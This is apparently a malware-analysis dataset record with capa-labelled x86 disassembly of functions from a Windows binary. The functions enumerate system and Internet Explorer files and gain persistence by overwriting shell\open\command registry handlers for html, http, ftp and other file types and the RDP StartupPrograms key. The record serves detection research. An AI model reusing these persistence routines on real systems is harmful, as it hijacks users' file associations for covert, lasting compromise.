joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bce40
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub esp, 0x454
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x264]
mov dword [esp + 0x1d0], 0x94
rep stosd dword es:[edi], eax
mov ecx, 0x24
lea edi, [esp + 0x1d4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1d0]
xor esi, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x10]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x10]
push edx
call fcn.004f2beb
lea eax, [esp + 0x14]
lea ecx, [esp + 0x268]
push eax
push 0x529940
push ecx
call fcn.004f175f
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x10
lea edx, [esp + 0x90]
lea eax, [esp + 0x264]
push edx
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x4bcf68
mov ebp, dword [esp + 0x468]
test byte [esp + 0x90], 0x10
jne 0x4bcf4b
cmp byte [esp + 0xbc], 0x2e
je 0x4bcf4b
lea ecx, [esp + 0xbc]
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [esp + 0x10]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [esp + 0x36c]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [esp + 0x374]
push 0xff
push ecx
push ebp
call fcn.004f27c0
add esp, 0x1c
inc esi
add ebp, 0x100
cmp esi, 0xf8
je 0x4bcf68
lea edx, [esp + 0x90]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4bcee1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
or edi, 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x10]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x10]
push ecx
call fcn.004f2beb
lea edx, [esp + 0x14]
lea eax, [esp + 0x268]
push edx
push 0x529940
push eax
call fcn.004f175f
add esp, 0x10
lea ecx, [esp + 0x90]
lea edx, [esp + 0x264]
push ecx
push edx
call ebx
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4bd055
mov eax, dword [esp + 0x468]
mov edi, esi
shl edi, 8
add edi, eax
test byte [esp + 0x90], 0x10
jne 0x4bd038
cmp byte [esp + 0xbc], 0x2e
je 0x4bd038
lea eax, [esp + 0xbc]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [esp + 0x368]
push eax
push str._s_s
push edx
call fcn.004f175f
lea eax, [esp + 0x374]
push 0xff
push eax
push edi
call fcn.004f27c0
add esp, 0x1c
inc esi
add edi, 0x100
cmp esi, 0xf9
je 0x4bd055
lea ecx, [esp + 0x90]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4bcfce
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
or ebp, 0xffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x46c]
push str.c:endpcache
mov dword [edx], esi
call fcn.004f2beb
add esp, 4
mov ax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x454
ret
Function at 0x4bdec0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x244
mov eax, dword [esp + 0x250]
push ebx
push ebp
push esi
push edi
mov dword [eax], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x258]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], 0
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..job
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4bdfbb
mov ebx, dword [esp + 0x25c]
cmp byte [esp + 0x140], 0x2e
je 0x4bdf9e
lea edi, [esp + 0x140]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
inc ecx
add ebx, 0x100
mov dword [esp + 0x10], ecx
lea eax, [esp + 0x114]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4bdf61
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
or ebp, 0xffffffff
mov edx, dword [esp + 0x260]
mov ecx, dword [esp + 0x10]
push ebp
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
mov ax, 1
pop ebx
add esp, 0x244
ret
Function at 0x4bdfe0
Capabilities:
Delete registry value
Get common file path
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x38c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0xc]
push edi
push eax
push 0x20006
push 0
push 0
push closesocket
mov dword [esp + 0x24], 0
call esi
test eax, eax
jne 0x4be026
lea ecx, [esp + 0x10]
push ecx
push str.htmlfile_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push str.htmlfile_shellopencommand
push closesocket
call esi
test eax, eax
je 0x4be05d
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x38c
ret
lea ecx, [esp + 0x19c]
push 0x100
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x19c]
lea eax, [esp + 0x29c]
push edx
push str._sProgram_FilesInternet_Exploreriexplore.exe
push eax
mov byte [esp + 0x1aa], 0
call fcn.004f175f
lea ecx, [esp + 0x2a8]
push ecx
call fcn.004fa6c0
add esp, 0x10
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x9c]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push 0
push edx
mov dword [esp + 0x2c], 0x100
mov dword [esp + 0x30], 1
call edi
lea eax, [esp + 0x14]
lea ecx, [esp + 0x9c]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0
push 0
push eax
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x4be12e
lea ecx, [esp + 0x9c]
lea edx, [esp + 0x1c]
push ecx
push 0x50d39c
push edx
call fcn.004f175f
lea eax, [esp + 0x2a8]
lea ecx, [esp + 0x28]
push eax
push ecx
call fcn.004f61e0
add esp, 0x14
test eax, eax
je 0x4be153
mov edx, dword [esp + 0x10]
push 0
push edx
call ebx
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call ebp
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0
push edx
push 0xf003f
push 0
push str.htmlfile_shellopennewcommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4be190
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x38c
ret
mov eax, dword [esp + 0x10]
push 0
push eax
call ebx
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0x14]
push esi
push 1
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x38c
ret
Function at 0x4be1d0
Capabilities:
Delete registry value
Get common file path
Persist via default file association registry key
Set registry value

Disassembly:
sub esp, 0x204
push ebp
lea eax, [esp + 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0x20006
push 0
push 0
push closesocket
mov dword [esp + 0x1c], 0
call esi
test eax, eax
jne 0x4be214
lea ecx, [esp + 8]
push ecx
push str.http_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 8]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.http_shellopencommand
push closesocket
call esi
test eax, eax
je 0x4be249
pop esi
or eax, 0xffffffff
pop ebp
add esp, 0x204
ret
push edi
lea ecx, [esp + 0x10]
push 0x100
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x110]
push edx
push str._sProgram_FilesInternet_Exploreriexplore.exe
push eax
mov byte [esp + 0x1e], 0
call fcn.004f175f
lea ecx, [esp + 0x11c]
push ecx
call fcn.004fa6c0
mov edx, dword [esp + 0x1c]
add esp, 0x10
mov esi, eax
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call ebp
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret

Function at 0x4be2d0
Capabilities:
Delete registry value
Get common file path
Persist via default file association registry key
Set registry value

Disassembly:
sub esp, 0x204
push ebp
lea eax, [esp + 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0x20006
push 0
push 0
push closesocket
mov dword [esp + 0x1c], 0
call esi
test eax, eax
jne 0x4be314
lea ecx, [esp + 8]
push ecx
push str.ftp_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 8]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.ftp_shellopencommand
push closesocket
call esi
test eax, eax
je 0x4be349
pop esi
or eax, 0xffffffff
pop ebp
add esp, 0x204
ret
push edi
lea ecx, [esp + 0x10]
push 0x100
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x110]
push edx
push str._sProgram_FilesInternet_Exploreriexplore.exe__1
push eax
mov byte [esp + 0x1e], 0
call fcn.004f175f
lea ecx, [esp + 0x11c]
push ecx
call fcn.004fa6c0
mov edx, dword [esp + 0x1c]
add esp, 0x10
mov esi, eax
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call ebp
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x4be8a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc220
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push 0x100
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call fcn.004f266a
add esp, 4
mov esi, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], esi
push eax
push 0x20019
push ebx
push str.SYSTEMCurrentControlSetServicesW3SVCParameters_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x4be990
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0x128]
push ecx
lea eax, [ebp - 0x28]
push edx
mov edx, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
push 0
push ecx
push esi
push edx
push eax
mov dword [ebp - 0x1c], 0x80
mov dword [ebp - 0x24], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
je 0x4be990
mov ecx, dword [ebp + 8]
mov edx, ebx
shl edx, 8
add edx, ecx
lea edi, [ebp - 0x128]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x7f
rep movsb byte es:[edi], byte [esi]
jle 0x4be981
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x14], eax
jmp 0x4be900
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0xc]
push esi
mov dword [edx], ebx
call fcn.004f265f
add esp, 4
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4bed40
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub esp, 0x654
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x364]
mov dword [esp + 0x1d0], 0x94
rep stosd dword es:[edi], eax
mov ecx, 0x24
lea edi, [esp + 0x1d4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1d0]
xor esi, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x10]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x10]
push str.Program_FilesInternet_Explorer
push edx
lea eax, [esp + 0x26c]
push 0x50e0ec
push eax
mov byte [esp + 0x23], 0
call fcn.004f175f
push str.IEXPLORE.EXE
lea ecx, [esp + 0x578]
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [esp + 0x280]
push edx
call fcn.004f2beb
lea eax, [esp + 0x284]
lea ecx, [esp + 0x384]
push eax
push 0x529e18
push ecx
call fcn.004f175f
add esp, 0x2c
lea edx, [esp + 0x90]
lea eax, [esp + 0x364]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4beef3
mov ebp, dword [esp + 0x668]
test byte [esp + 0x90], 0x10
jne 0x4beed2
cmp byte [esp + 0xbc], 0x2e
je 0x4beed2
lea ecx, [esp + 0xbc]
lea edx, [esp + 0x564]
push ecx
push edx
xor edi, edi
call fcn.004f61e0
add esp, 8
test eax, eax
jne 0x4bee5c
mov edi, 1
lea eax, [esp + 0xbc]
push eax
push str.iedw.exe
call fcn.004f61e0
add esp, 8
test eax, eax
je 0x4beed2
test edi, edi
jne 0x4beed2
lea ecx, [esp + 0xbc]
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [esp + 0x264]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [esp + 0x46c]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [esp + 0x474]
push 0xff
push ecx
push ebp
call fcn.004f27c0
add esp, 0x1c
inc esi
add ebp, 0x100
cmp esi, 0xf8
je 0x4beef3
lea edx, [esp + 0x90]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4bee1d
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
or ebx, 0xffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x66c]
push str.c:endpcache
mov dword [eax], esi
call fcn.004f2beb
add esp, 4
mov ax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x654
ret
Function at 0x4bef20
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub esp, 0x654
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x364]
mov dword [esp + 0x1d0], 0x94
rep stosd dword es:[edi], eax
mov ecx, 0x24
lea edi, [esp + 0x1d4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1d0]
xor ebp, ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x150]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x150]
push str.Program_FilesInternet_Explorer
push edx
lea eax, [esp + 0x26c]
push 0x50e0ec
push eax
mov byte [esp + 0x163], 0
call fcn.004f175f
push str.IEXPLORE.EXE
lea ecx, [esp + 0x578]
push 0x50d39c
push ecx
call fcn.004f175f
lea edx, [esp + 0x280]
push edx
call fcn.004f2beb
lea eax, [esp + 0x284]
lea ecx, [esp + 0x384]
push eax
push 0x529e58
push ecx
call fcn.004f175f
add esp, 0x2c
lea edx, [esp + 0x10]
lea eax, [esp + 0x364]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4bf0df
mov edi, dword [esp + 0x668]
test byte [esp + 0x10], 0x10
jne 0x4bf0c1
cmp byte [esp + 0x3c], 0x2e
je 0x4bf0c1
lea ecx, [esp + 0x3c]
xor esi, esi
push ecx
push str.HMMAPI.DLL
call fcn.004f61e0
add esp, 8
test eax, eax
jne 0x4bf036
mov esi, 1
lea edx, [esp + 0x3c]
push edx
push str.custsat.dll
call fcn.004f61e0
add esp, 8
test eax, eax
jne 0x4bf051
mov esi, 1
lea eax, [esp + 0x3c]
push eax
push str.ieproxy.dll
call fcn.004f61e0
add esp, 8
test eax, eax
je 0x4bf0c1
test esi, esi
jne 0x4bf0c1
lea ecx, [esp + 0x3c]
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [esp + 0x264]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [esp + 0x46c]
push str._s_s
push eax
call fcn.004f175f
lea ecx, [esp + 0x474]
push 0xff
push ecx
push edi
call fcn.004f27c0
add esp, 0x1c
inc ebp
add edi, 0x100
cmp ebp, 0xf8
je 0x4bf0df
lea edx, [esp + 0x10]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4bf003
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
or ebx, 0xffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x66c]
push str.c:endpcache
mov dword [eax], ebp
call fcn.004f2beb
add esp, 4
mov ax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x654
ret
Function at 0x4bf110
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub esp, 0x554
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x364]
mov dword [esp + 0x90], 0x94
rep stosd dword es:[edi], eax
mov ecx, 0x24
lea edi, [esp + 0x94]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x90]
xor esi, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x10]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x10]
push str.Program_FilesInternet_Explorer
push edx
lea eax, [esp + 0x12c]
push 0x50e0ec
push eax
mov byte [esp + 0x23], 0
call fcn.004f175f
lea ecx, [esp + 0x134]
push ecx
call fcn.004f2beb
lea edx, [esp + 0x138]
lea eax, [esp + 0x378]
push edx
push str._s.sys
push eax
call fcn.004f175f
add esp, 0x20
lea ecx, [esp + 0x224]
lea edx, [esp + 0x364]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4bf262
mov edi, dword [esp + 0x568]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0x224], 0x10
jne 0x4bf249
cmp byte [esp + 0x250], 0x2e
je 0x4bf249
lea eax, [esp + 0x250]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [esp + 0x124]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [esp + 0x468]
push eax
push str._s_s
push edx
call fcn.004f175f
lea eax, [esp + 0x474]
push 0xff
push eax
push edi
call fcn.004f27c0
add esp, 0x1c
inc esi
add edi, 0x100
cmp esi, 0xf8
je 0x4bf262
lea ecx, [esp + 0x224]
push ecx
push ebp
call ebx
test eax, eax
jne 0x4bf1dc
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
or ebp, 0xffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x56c]
push str.c:endpcache
mov dword [edx], esi
call fcn.004f2beb
add esp, 4
mov ax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x554
ret
Function at 0x4bf820
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc230
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
push 0x100
call fcn.004f266a
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x1c], 1
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwd
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4bf8cd
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x11c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push edx
push eax
push 0
push str.StartupPrograms
push ecx
mov dword [ebp - 0x18], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4bf8cd
lea edi, [ebp - 0x11c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [ebp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004f265f
add esp, 4
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4bf910
Capabilities:
Persist via default file association registry key
Persist via rdp startup programs registry key
Set registry value

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0x20006
push 0
push 0
push closesocket
mov dword [esp + 0x1c], 0
call edi
test eax, eax
jne 0x4bf94f
lea ecx, [esp + 8]
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwd
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.MSCFile_shellopencommand
push closesocket
call edi
test eax, eax
je 0x4bf97f
pop edi
or eax, 0xffffffff
pop esi
pop ecx
ret
push str.rdpclip
call fcn.004fa6c0
mov edx, eax
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0xc]
push edx
push 1
push eax
push str.StartupPrograms
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call esi
pop edi
mov eax, 1
pop esi
pop ecx
ret
Function at 0x4bfc80
Capabilities:
Delete registry value
Persist via default file association registry key
Set registry value

Disassembly:
sub esp, 0x10
lea eax, [esp]
mov dword [esp], 0
push eax
push 0xf003f
push 0
push str.WindowFiles_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4bfcb2
or eax, 0xffffffff
add esp, 0x10
ret
mov cl, 0x22
push esi
mov byte [esp + 8], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 8]
push edi
mov al, 0x25
push ecx
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x31
mov byte [esp + 0x14], 0x20
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x2a
mov byte [esp + 0x17], 0
call fcn.004fa6c0
mov edx, dword [esp + 0xc]
add esp, 4
mov esi, eax
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
push eax
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret

Function at 0x4bfd30
Capabilities:
Delete registry value
Persist via default file association registry key
Set registry value

Disassembly:
sub esp, 0x10
lea eax, [esp]
mov dword [esp], 0
push eax
push 0xf003f
push 0
push str.winfiles_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4bfd62
or eax, 0xffffffff
add esp, 0x10
ret
mov cl, 0x22
push esi
mov byte [esp + 8], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 8]
push edi
mov al, 0x25
push ecx
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x31
mov byte [esp + 0x14], 0x20
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x2a
mov byte [esp + 0x17], 0
call fcn.004fa6c0
mov edx, dword [esp + 0xc]
add esp, 4
mov esi, eax
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push 1
push eax
push eax
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret